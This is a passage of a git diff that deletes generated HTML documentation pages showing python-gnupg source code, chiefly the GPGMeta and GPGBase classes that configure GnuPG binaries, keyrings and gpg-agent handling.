charset=utf-8" /> - - <title>gnupg — gnupg unknown documentation</title> - - <link rel="stylesheet" href="../_static/agogo.css" type="text/css" /> - <link rel="stylesheet" href="../_static/pygments.css" type="text/css" /> - - <script type="text/javascript"> - var DOCUMENTATION_OPTIONS = { - URL_ROOT: '../', - VERSION: 'unknown', - COLLAPSE_INDEX: false, - FILE_SUFFIX: '.html', - HAS_SOURCE: true - }; - </script> - <script type="text/javascript" src="../_static/jquery.js"></script> - <script type="text/javascript" src="../_static/underscore.js"></script> - <script type="text/javascript" src="../_static/doctools.js"></script> - <link rel="top" title="gnupg unknown documentation" href="../index.html" /> - <link rel="up" title="Module code" href="index.html" /> - </head> - <body> - <div class="header-wrapper"> - <div class="header"> - <div class="headertitle"><a - href="../index.html">gnupg: Python Module Documentation</a></div> - <div class="rel"> - <a href="../py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="../genindex.html" title="General Index" - accesskey="I">index</a> - </div> - </div> - </div> - - <div class="content-wrapper"> - <div class="content"> - <div class="document"> - - <div class="documentwrapper"> - <div class="bodywrapper"> - <div class="body"> - - <h1>Source code for gnupg</h1><div class="highlight"><pre> -<span class="c">#!/usr/bin/env python</span> -<span class="c"># -*- coding: utf-8 -*-</span> -<span class="c">#</span> -<span class="c"># This file is part of python-gnupg, a Python interface to GnuPG.</span> -<span class="c"># Copyright © 2013 Isis Lovecruft, <isis@leap.se> 0xA3ADB67A2CDB8B35</span> -<span class="c"># © 2013 Andrej B.</span> -<span class="c"># © 2013 LEAP Encryption Access Project</span> -<span class="c"># © 2008-2012 Vinay Sajip</span> -<span class="c"># © 2005 Steve Traugott</span> -<span class="c"># © 2004 A.M. Kuchling</span> -<span class="c">#</span> -<span class="c"># This program is free software: you can redistribute it and/or modify it</span> -<span class="c"># under the terms of the GNU General Public License as published by the Free</span> -<span class="c"># Software Foundation, either version 3 of the License, or (at your option)</span> -<span class="c"># any later version.</span> -<span class="c">#</span> -<span class="c"># This program is distributed in the hope that it will be useful, but WITHOUT</span> -<span class="c"># ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or</span> -<span class="c"># FITNESS FOR A PARTICULAR PURPOSE. See the included LICENSE file for details.</span> - -<span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">absolute_import</span> - -<span class="kn">from</span> <span class="nn">.</span> <span class="kn">import</span> <span class="n">gnupg</span> -<span class="kn">from</span> <span class="nn">.</span> <span class="kn">import</span> <span class="n">copyleft</span> -<span class="kn">from</span> <span class="nn">.</span> <span class="kn">import</span> <span class="n">_ansistrm</span> -<span class="kn">from</span> <span class="nn">.</span> <span class="kn">import</span> <span class="n">_logger</span> -<span class="kn">from</span> <span class="nn">.</span> <span class="kn">import</span> <span class="n">_meta</span> -<span class="kn">from</span> <span class="nn">.</span> <span class="kn">import</span> <span class="n">_parsers</span> -<span class="kn">from</span> <span class="nn">.</span> <span class="kn">import</span> <span class="n">_util</span> -<span class="kn">from</span> <span class="nn">.gnupg</span> <span class="kn">import</span> <span class="n">GPG</span> -<span class="kn">from</span> <span class="nn">._version</span> <span class="kn">import</span> <span class="n">get_versions</span> - -<span class="n">__version__</span> <span class="o">=</span> <span class="n">get_versions</span><span class="p">()[</span><span class="s">'version'</span><span class="p">]</span> -<span class="n">__authors__</span> <span class="o">=</span> <span class="n">copyleft</span><span class="o">.</span><span class="n">authors</span> -<span class="n">__license__</span> <span class="o">=</span> <span class="n">copyleft</span><span class="o">.</span><span class="n">full_text</span> -<span class="n">__copyleft__</span> <span class="o">=</span> <span class="n">copyleft</span><span class="o">.</span><span class="n">copyright</span> - -<span class="c">## do not set __package__ = "gnupg", else we will end up with</span> -<span class="c">## gnupg.<*allofthethings*></span> -<span class="n">__all__</span> <span class="o">=</span> <span class="p">[</span><span class="s">"GPG"</span><span class="p">,</span> <span class="s">"_util"</span><span class="p">,</span> <span class="s">"_parsers"</span><span class="p">,</span> <span class="s">"_meta"</span><span class="p">,</span> <span class="s">"_logger"</span><span class="p">]</span> - -<span class="c">## avoid the "from gnupg import gnupg" idiom</span> -<span class="k">del</span> <span class="n">gnupg</span> -<span class="k">del</span> <span class="n">absolute_import</span> -<span class="k">del</span> <span class="n">copyleft</span> -<span class="k">del</span> <span class="n">get_versions</span> -<span class="k">del</span> <span class="n">_version</span> -</pre></div> - - </div> - </div> - </div> - </div> - <div class="sidebar"> - <h3>Table Of Contents</h3> - <ul> -<li class="toctree-l1"><a class="reference internal" href="../gnupg.html">gnupg package</a></li> -</ul> - - <h3 style="margin-top: 1.5em;">Search</h3> - <form class="search" action="../search.html" method="get"> - <input type="text" name="q" /> - <input type="submit" value="Go" /> - <input type="hidden" name="check_keywords" value="yes" /> - <input type="hidden" name="area" value="default" /> - </form> - <p class="searchtip" style="font-size: 90%"> - Enter search terms or a module, class or function name. - </p> - </div> - <div class="clearer"></div> - </div> - </div> - - <div class="footer-wrapper"> - <div class="footer"> - <div class="left"> - <a href="../py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="../genindex.html" title="General Index" - >index</a> - </div> - - <div class="right"> - - <div class="footer"> - © Copyright 2013-2014, Isis Agora Lovecruft. - Last updated on Saturday, 02 August 2014. - Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.2.2. - </div> - </div> - <div class="clearer"></div> - </div> - </div> - - </body> -</html>
\ No newline at end of file diff --git a/docs/_build/html/_modules/gnupg/_meta.html b/docs/_build/html/_modules/gnupg/_meta.html deleted file mode 100644 index 23ca880..0000000 --- a/docs/_build/html/_modules/gnupg/_meta.html +++ /dev/null @@ -1,981 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - - -<html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> - - <title>gnupg._meta — gnupg unknown documentation</title> - - <link rel="stylesheet" href="../../_static/agogo.css" type="text/css" /> - <link rel="stylesheet" href="../../_static/pygments.css" type="text/css" /> - - <script type="text/javascript"> - var DOCUMENTATION_OPTIONS = { - URL_ROOT: '../../', - VERSION: 'unknown', - COLLAPSE_INDEX: false, - FILE_SUFFIX: '.html', - HAS_SOURCE: true - }; - </script> - <script type="text/javascript" src="../../_static/jquery.js"></script> - <script type="text/javascript" src="../../_static/underscore.js"></script> - <script type="text/javascript" src="../../_static/doctools.js"></script> - <link rel="top" title="gnupg unknown documentation" href="../../index.html" /> - <link rel="up" title="gnupg" href="../gnupg.html" /> - </head> - <body> - <div class="header-wrapper"> - <div class="header"> - <div class="headertitle"><a - href="../../index.html">gnupg: Python Module Documentation</a></div> - <div class="rel"> - <a href="../../py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="../../genindex.html" title="General Index" - accesskey="I">index</a> - </div> - </div> - </div> - - <div class="content-wrapper"> - <div class="content"> - <div class="document"> - - <div class="documentwrapper"> - <div class="bodywrapper"> - <div class="body"> - - <h1>Source code for gnupg._meta</h1><div class="highlight"><pre> -<span class="c"># -*- coding: utf-8 -*-</span> -<span class="c">#</span> -<span class="c"># This file is part of python-gnupg, a Python interface to GnuPG.</span> -<span class="c"># Copyright © 2013 Isis Lovecruft, <isis@leap.se> 0xA3ADB67A2CDB8B35</span> -<span class="c"># © 2013 Andrej B.</span> -<span class="c"># © 2013 LEAP Encryption Access Project</span> -<span class="c"># © 2008-2012 Vinay Sajip</span> -<span class="c"># © 2005 Steve Traugott</span> -<span class="c"># © 2004 A.M. Kuchling</span> -<span class="c">#</span> -<span class="c"># This program is free software: you can redistribute it and/or modify it</span> -<span class="c"># under the terms of the GNU General Public License as published by the Free</span> -<span class="c"># Software Foundation, either version 3 of the License, or (at your option)</span> -<span class="c"># any later version.</span> -<span class="c">#</span> -<span class="c"># This program is distributed in the hope that it will be useful, but WITHOUT</span> -<span class="c"># ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or</span> -<span class="c"># FITNESS FOR A PARTICULAR PURPOSE. See the included LICENSE file for details.</span> - -<span class="sd">'''Meta and base classes for hiding internal functions, and controlling</span> -<span class="sd">attribute creation and handling.</span> -<span class="sd">'''</span> - -<span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">absolute_import</span> - -<span class="kn">import</span> <span class="nn">atexit</span> -<span class="kn">import</span> <span class="nn">codecs</span> -<span class="kn">import</span> <span class="nn">encodings</span> -<span class="c">## For AOS, the locale module will need to point to a wrapper around the</span> -<span class="c">## java.util.Locale class.</span> -<span class="c">## See https://code.patternsinthevoid.net/?p=android-locale-hack.git</span> -<span class="kn">import</span> <span class="nn">locale</span> -<span class="kn">import</span> <span class="nn">os</span> -<span class="kn">import</span> <span class="nn">platform</span> -<span class="kn">import</span> <span class="nn">psutil</span> -<span class="kn">import</span> <span class="nn">shlex</span> -<span class="kn">import</span> <span class="nn">subprocess</span> -<span class="kn">import</span> <span class="nn">sys</span> -<span class="kn">import</span> <span class="nn">threading</span> - -<span class="kn">from</span> <span class="nn">.</span> <span class="kn">import</span> <span class="n">_parsers</span> -<span class="kn">from</span> <span class="nn">.</span> <span class="kn">import</span> <span class="n">_util</span> - -<span class="kn">from</span> <span class="nn">._parsers</span> <span class="kn">import</span> <span class="n">_check_preferences</span> -<span class="kn">from</span> <span class="nn">._parsers</span> <span class="kn">import</span> <span class="n">_sanitise_list</span> -<span class="kn">from</span> <span class="nn">._util</span> <span class="kn">import</span> <span class="n">log</span> - - -<div class="viewcode-block" id="GPGMeta"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGMeta">[docs]</a><span class="k">class</span> <span class="nc">GPGMeta</span><span class="p">(</span><span class="nb">type</span><span class="p">):</span> - <span class="sd">"""Metaclass for changing the :meth:GPG.__init__ initialiser.</span> - -<span class="sd"> Detects running gpg-agent processes and the presence of a pinentry</span> -<span class="sd"> program, and disables pinentry so that python-gnupg can write the</span> -<span class="sd"> passphrase to the controlled GnuPG process without killing the agent.</span> - -<span class="sd"> :attr _agent_proc: If a :program:`gpg-agent` process is currently running</span> -<span class="sd"> for the effective userid, then **_agent_proc** will be</span> -<span class="sd"> set to a ``psutil.Process`` for that process.</span> -<span class="sd"> """</span> - -<div class="viewcode-block" id="GPGMeta.__new__"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGMeta.__new__">[docs]</a> <span class="k">def</span> <span class="nf">__new__</span><span class="p">(</span><span class="n">cls</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">bases</span><span class="p">,</span> <span class="n">attrs</span><span class="p">):</span> - <span class="sd">"""Construct the initialiser for GPG"""</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Metaclass __new__ constructor called for </span><span class="si">%r</span><span class="s">"</span> <span class="o">%</span> <span class="n">cls</span><span class="p">)</span> - <span class="k">if</span> <span class="n">cls</span><span class="o">.</span><span class="n">_find_agent</span><span class="p">():</span> - <span class="c">## call the normal GPG.__init__() initialiser:</span> - <span class="n">attrs</span><span class="p">[</span><span class="s">'init'</span><span class="p">]</span> <span class="o">=</span> <span class="n">cls</span><span class="o">.</span><span class="n">__init__</span> - <span class="n">attrs</span><span class="p">[</span><span class="s">'_remove_agent'</span><span class="p">]</span> <span class="o">=</span> <span class="bp">True</span> - <span class="k">return</span> <span class="nb">super</span><span class="p">(</span><span class="n">GPGMeta</span><span class="p">,</span> <span class="n">cls</span><span class="p">)</span><span class="o">.</span><span class="n">__new__</span><span class="p">(</span><span class="n">cls</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">bases</span><span class="p">,</span> <span class="n">attrs</span><span class="p">)</span> -</div> - <span class="nd">@classmethod</span> -<div class="viewcode-block" id="GPGMeta._find_agent"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGMeta._find_agent">[docs]</a> <span class="k">def</span> <span class="nf">_find_agent</span><span class="p">(</span><span class="n">cls</span><span class="p">):</span> - <span class="sd">"""Discover if a gpg-agent process for the current euid is running.</span> - -<span class="sd"> If there is a matching gpg-agent process, set a :class:`psutil.Process`</span> -<span class="sd"> instance containing the gpg-agent process' information to</span> -<span class="sd"> ``cls._agent_proc``.</span> - -<span class="sd"> :returns: True if there exists a gpg-agent process running under the</span> -<span class="sd"> same effective user ID as that of this program. Otherwise,</span> -<span class="sd"> returns None.</span> -<span class="sd"> """</span> - <span class="n">identity</span> <span class="o">=</span> <span class="n">psutil</span><span class="o">.</span><span class="n">Process</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">getpid</span><span class="p">())</span><span class="o">.</span><span class="n">uids</span> - <span class="k">for</span> <span class="n">proc</span> <span class="ow">in</span> <span class="n">psutil</span><span class="o">.</span><span class="n">process_iter</span><span class="p">():</span> - <span class="k">if</span> <span class="p">(</span><span class="n">proc</span><span class="o">.</span><span class="n">name</span> <span class="o">==</span> <span class="s">"gpg-agent"</span><span class="p">)</span> <span class="ow">and</span> <span class="n">proc</span><span class="o">.</span><span class="n">is_running</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Found gpg-agent process with pid </span><span class="si">%d</span><span class="s">"</span> <span class="o">%</span> <span class="n">proc</span><span class="o">.</span><span class="n">pid</span><span class="p">)</span> - <span class="k">if</span> <span class="n">proc</span><span class="o">.</span><span class="n">uids</span> <span class="o">==</span> <span class="n">identity</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span> - <span class="s">"Effective UIDs of this process and gpg-agent match"</span><span class="p">)</span> - <span class="nb">setattr</span><span class="p">(</span><span class="n">cls</span><span class="p">,</span> <span class="s">'_agent_proc'</span><span class="p">,</span> <span class="n">proc</span><span class="p">)</span> - <span class="k">return</span> <span class="bp">True</span> - -</div></div> -<div class="viewcode-block" id="GPGBase"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase">[docs]</a><span class="k">class</span> <span class="nc">GPGBase</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span> - <span class="sd">"""Base class for storing properties and controlling process initialisation.</span> - -<span class="sd"> :const _result_map: A *dict* containing classes from</span> -<span class="sd"> :mod:`~gnupg._parsers`, used for parsing results</span> -<span class="sd"> obtained from GnuPG commands.</span> -<span class="sd"> :const _decode_errors: How to handle encoding errors.</span> -<span class="sd"> """</span> - <span class="n">__metaclass__</span> <span class="o">=</span> <span class="n">GPGMeta</span> - <span class="n">_decode_errors</span> <span class="o">=</span> <span class="s">'strict'</span> - <span class="n">_result_map</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'crypt'</span><span class="p">:</span> <span class="n">_parsers</span><span class="o">.</span><span class="n">Crypt</span><span class="p">,</span> - <span class="s">'delete'</span><span class="p">:</span> <span class="n">_parsers</span><span class="o">.</span><span class="n">DeleteResult</span><span class="p">,</span> - <span class="s">'generate'</span><span class="p">:</span> <span class="n">_parsers</span><span class="o">.</span><span class="n">GenKey</span><span class="p">,</span> - <span class="s">'import'</span><span class="p">:</span> <span class="n">_parsers</span><span class="o">.</span><span class="n">ImportResult</span><span class="p">,</span> - <span class="s">'list'</span><span class="p">:</span> <span class="n">_parsers</span><span class="o">.</span><span class="n">ListKeys</span><span class="p">,</span> - <span class="s">'sign'</span><span class="p">:</span> <span class="n">_parsers</span><span class="o">.</span><span class="n">Sign</span><span class="p">,</span> - <span class="s">'verify'</span><span class="p">:</span> <span class="n">_parsers</span><span class="o">.</span><span class="n">Verify</span><span class="p">,</span> - <span class="s">'packets'</span><span class="p">:</span> <span class="n">_parsers</span><span class="o">.</span><span class="n">ListPackets</span> <span class="p">}</span> - -<div class="viewcode-block" id="GPGBase.__init__"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase.__init__">[docs]</a> <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">binary</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">home</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">keyring</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">secring</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> - <span class="n">use_agent</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="n">default_preference_list</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> - <span class="n">verbose</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="n">options</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span> - <span class="sd">"""Create a ``GPGBase``.</span> - -<span class="sd"> This class is used to set up properties for controlling the behaviour</span> -<span class="sd"> of configuring various options for GnuPG, such as setting GnuPG's</span> -<span class="sd"> **homedir** , and the paths to its **binary** and **keyring** .</span> - -<span class="sd"> :const binary: (:obj:`str`) The full path to the GnuPG binary.</span> - -<span class="sd"> :ivar homedir: (:class:`~gnupg._util.InheritableProperty`) The full</span> -<span class="sd"> path to the current setting for the GnuPG</span> -<span class="sd"> ``--homedir``.</span> - -<span class="sd"> :ivar _generated_keys: (:class:`~gnupg._util.InheritableProperty`)</span> -<span class="sd"> Controls setting the directory for storing any</span> -<span class="sd"> keys which are generated with</span> -<span class="sd"> :meth:`~gnupg.GPG.gen_key`.</span> - -<span class="sd"> :ivar str keyring: The filename in **homedir** to use as the keyring</span> -<span class="sd"> file for public keys.</span> -<span class="sd"> :ivar str secring: The filename in **homedir** to use as the keyring</span> -<span class="sd"> file for secret keys.</span> -<span class="sd"> """</span> - <span class="bp">self</span><span class="o">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">_util</span><span class="o">.</span><span class="n">_find_binary</span><span class="p">(</span><span class="n">binary</span><span class="p">)</span> - <span class="bp">self</span><span class="o">.</span><span class="n">homedir</span> <span class="o">=</span> <span class="n">home</span> <span class="k">if</span> <span class="n">home</span> <span class="k">else</span> <span class="n">_util</span><span class="o">.</span><span class="n">_conf</span> - <span class="n">pub</span> <span class="o">=</span> <span class="n">_parsers</span><span class="o">.</span><span class="n">_fix_unsafe</span><span class="p">(</span><span class="n">keyring</span><span class="p">)</span> <span class="k">if</span> <span class="n">keyring</span> <span class="k">else</span> <span class="s">'pubring.gpg'</span> - <span class="n">sec</span> <span class="o">=</span> <span class="n">_parsers</span><span class="o">.</span><span class="n">_fix_unsafe</span><span class="p">(</span><span class="n">secring</span><span class="p">)</span> <span class="k">if</span> <span class="n">secring</span> <span class="k">else</span> <span class="s">'secring.gpg'</span> - <span class="bp">self</span><span class="o">.</span><span class="n">keyring</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">_homedir</span><span class="p">,</span> <span class="n">pub</span><span class="p">)</span> - <span class="bp">self</span><span class="o">.</span><span class="n">secring</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">_homedir</span><span class="p">,</span> <span class="n">sec</span><span class="p">)</span> - <span class="bp">self</span><span class="o">.</span><span class="n">options</span> <span class="o">=</span> <span class="n">_parsers</span><span class="o">.</span><span class="n">_sanitise</span><span class="p">(</span><span class="n">options</span><span class="p">)</span> <span class="k">if</span> <span class="n">options</span> <span class="k">else</span> <span class="bp">None</span> - - <span class="k">if</span> <span class="n">default_preference_list</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_prefs</span> <span class="o">=</span> <span class="n">_check_preferences</span><span class="p">(</span><span class="n">default_preference_list</span><span class="p">,</span> <span class="s">'all'</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_prefs</span> <span class="o">=</span> <span class="s">'SHA512 SHA384 SHA256 AES256 CAMELLIA256 TWOFISH'</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_prefs</span> <span class="o">+=</span> <span class="s">' AES192 ZLIB ZIP Uncompressed'</span> - - <span class="n">encoding</span> <span class="o">=</span> <span class="n">locale</span><span class="o">.</span><span class="n">getpreferredencoding</span><span class="p">()</span> - <span class="k">if</span> <span class="n">encoding</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> <span class="c"># This happens on Jython!</span> - <span class="n">encoding</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdin</span><span class="o">.</span><span class="n">encoding</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_encoding</span> <span class="o">=</span> <span class="n">encoding</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'-'</span><span class="p">,</span> <span class="s">'_'</span><span class="p">)</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_filesystemencoding</span> <span class="o">=</span> <span class="n">encodings</span><span class="o">.</span><span class="n">normalize_encoding</span><span class="p">(</span> - <span class="n">sys</span><span class="o">.</span><span class="n">getfilesystemencoding</span><span class="p">()</span><span class="o">.</span><span class="n">lower</span><span class="p">())</span> - - <span class="bp">self</span><span class="o">.</span><span class="n">_keyserver</span> <span class="o">=</span> <span class="s">'hkp://wwwkeys.pgp.net'</span> - <span class="bp">self</span><span class="o">.</span><span class="n">__generated_keys</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">homedir</span><span class="p">,</span> <span class="s">'generated-keys'</span><span class="p">)</span> - - <span class="k">try</span><span class="p">:</span> - <span class="k">assert</span> <span class="bp">self</span><span class="o">.</span><span class="n">binary</span><span class="p">,</span> <span class="s">"Could not find binary </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">binary</span> - <span class="k">assert</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">verbose</span><span class="p">,</span> <span class="p">(</span><span class="nb">bool</span><span class="p">,</span> <span class="nb">str</span><span class="p">,</span> <span class="nb">int</span><span class="p">)),</span> \ - <span class="s">"'verbose' must be boolean, string, or 0 <= n <= 9"</span> - <span class="k">assert</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">use_agent</span><span class="p">,</span> <span class="nb">bool</span><span class="p">),</span> <span class="s">"'use_agent' must be boolean"</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">options</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span> - <span class="k">assert</span> <span class="nb">isinstance</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">options</span><span class="p">,</span> <span class="nb">str</span><span class="p">),</span> <span class="s">"options not string"</span> - <span class="k">except</span> <span class="p">(</span><span class="ne">AssertionError</span><span class="p">,</span> <span class="ne">AttributeError</span><span class="p">)</span> <span class="k">as</span> <span class="n">ae</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">error</span><span class="p">(</span><span class="s">"GPGBase.__init__(): </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="nb">str</span><span class="p">(</span><span class="n">ae</span><span class="p">))</span> - <span class="k">raise</span> <span class="ne">RuntimeError</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">ae</span><span class="p">))</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">if</span> <span class="n">verbose</span> <span class="ow">is</span> <span class="bp">True</span><span class="p">:</span> - <span class="c"># The caller wants logging, but we need a valid --debug-level</span> - <span class="c"># for gpg. Default to "basic", and warn about the ambiguity.</span> - <span class="c"># (garrettr)</span> - <span class="n">verbose</span> <span class="o">=</span> <span class="s">"basic"</span> - <span class="n">log</span><span class="o">.</span><span class="n">warning</span><span class="p">(</span><span class="s">'GPG(verbose=True) is ambiguous, defaulting to "basic" logging'</span><span class="p">)</span> - <span class="bp">self</span><span class="o">.</span><span class="n">verbose</span> <span class="o">=</span> <span class="n">verbose</span> - <span class="bp">self</span><span class="o">.</span><span class="n">use_agent</span> <span class="o">=</span> <span class="n">use_agent</span> - - <span class="k">if</span> <span class="nb">hasattr</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="s">'_agent_proc'</span><span class="p">)</span> \ - <span class="ow">and</span> <span class="nb">getattr</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="s">'_remove_agent'</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span> <span class="ow">is</span> <span class="bp">True</span><span class="p">:</span> - <span class="k">if</span> <span class="nb">hasattr</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="s">'__remove_path__'</span><span class="p">):</span> - <span class="bp">self</span><span class="o">.</span><span class="n">__remove_path__</span><span class="p">(</span><span class="s">'pinentry'</span><span class="p">)</span> -</div> -<div class="viewcode-block" id="GPGBase.__remove_path__"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase.__remove_path__">[docs]</a> <span class="k">def</span> <span class="nf">__remove_path__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">prog</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">at_exit</span><span class="o">=</span><span class="bp">True</span><span class="p">):</span> - <span class="sd">"""Remove the directories containing a program from the system's</span> -<span class="sd"> ``$PATH``. If ``GPGBase.binary`` is in a directory being removed, it</span> -<span class="sd"> is linked to :file:'./gpg' in the current directory.</span> - -<span class="sd"> :param str prog: The program to remove from ``$PATH``.</span> -<span class="sd"> :param bool at_exit: Add the program back into the ``$PATH`` when the</span> -<span class="sd"> Python interpreter exits, and delete any symlinks</span> -<span class="sd"> to ``GPGBase.binary`` which were created.</span> -<span class="sd"> """</span> - <span class="c">#: A list of ``$PATH`` entries which were removed to disable pinentry.</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_removed_path_entries</span> <span class="o">=</span> <span class="p">[]</span> - - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Attempting to remove </span><span class="si">%s</span><span class="s"> from system PATH"</span> <span class="o">%</span> <span class="nb">str</span><span class="p">(</span><span class="n">prog</span><span class="p">))</span> - <span class="k">if</span> <span class="p">(</span><span class="n">prog</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">)</span> <span class="ow">or</span> <span class="p">(</span><span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">prog</span><span class="p">,</span> <span class="nb">str</span><span class="p">)):</span> <span class="k">return</span> - - <span class="k">try</span><span class="p">:</span> - <span class="n">program</span> <span class="o">=</span> <span class="n">_util</span><span class="o">.</span><span class="n">_which</span><span class="p">(</span><span class="n">prog</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> - <span class="k">except</span> <span class="p">(</span><span class="ne">OSError</span><span class="p">,</span> <span class="ne">IOError</span><span class="p">,</span> <span class="ne">IndexError</span><span class="p">)</span> <span class="k">as</span> <span class="n">err</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">err</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">err</span><span class="p">))</span> - <span class="n">log</span><span class="o">.</span><span class="n">err</span><span class="p">(</span><span class="s">"Cannot find program '</span><span class="si">%s</span><span class="s">', not changing PATH."</span> <span class="o">%</span> <span class="n">prog</span><span class="p">)</span> - <span class="k">return</span> - - <span class="c">## __remove_path__ cannot be an @classmethod in GPGMeta, because</span> - <span class="c">## the use_agent attribute must be set by the instance.</span> - <span class="k">if</span> <span class="ow">not</span> <span class="bp">self</span><span class="o">.</span><span class="n">use_agent</span><span class="p">:</span> - <span class="n">program_base</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">prog</span><span class="p">)</span> - <span class="n">gnupg_base</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">dirname</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">binary</span><span class="p">)</span> - - <span class="c">## symlink our gpg binary into $PWD if the path we are removing is</span> - <span class="c">## the one which contains our gpg executable:</span> - <span class="n">new_gpg_location</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">getcwd</span><span class="p">(),</span> <span class="s">'gpg'</span><span class="p">)</span> - <span class="k">if</span> <span class="n">gnupg_base</span> <span class="o">==</span> <span class="n">program_base</span><span class="p">:</span> - <span class="n">os</span><span class="o">.</span><span class="n">symlink</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">binary</span><span class="p">,</span> <span class="n">new_gpg_location</span><span class="p">)</span> - <span class="bp">self</span><span class="o">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">new_gpg_location</span> - - <span class="c">## copy the original environment so that we can put it back later:</span> - <span class="n">env_copy</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span> <span class="c">## this one should not be touched</span> - <span class="n">path_copy</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="o">.</span><span class="n">pop</span><span class="p">(</span><span class="s">'PATH'</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Created a copy of system PATH: </span><span class="si">%r</span><span class="s">"</span> <span class="o">%</span> <span class="n">path_copy</span><span class="p">)</span> - <span class="k">assert</span> <span class="ow">not</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="o">.</span><span class="n">has_key</span><span class="p">(</span><span class="s">'PATH'</span><span class="p">),</span> <span class="s">"OS env kept $PATH 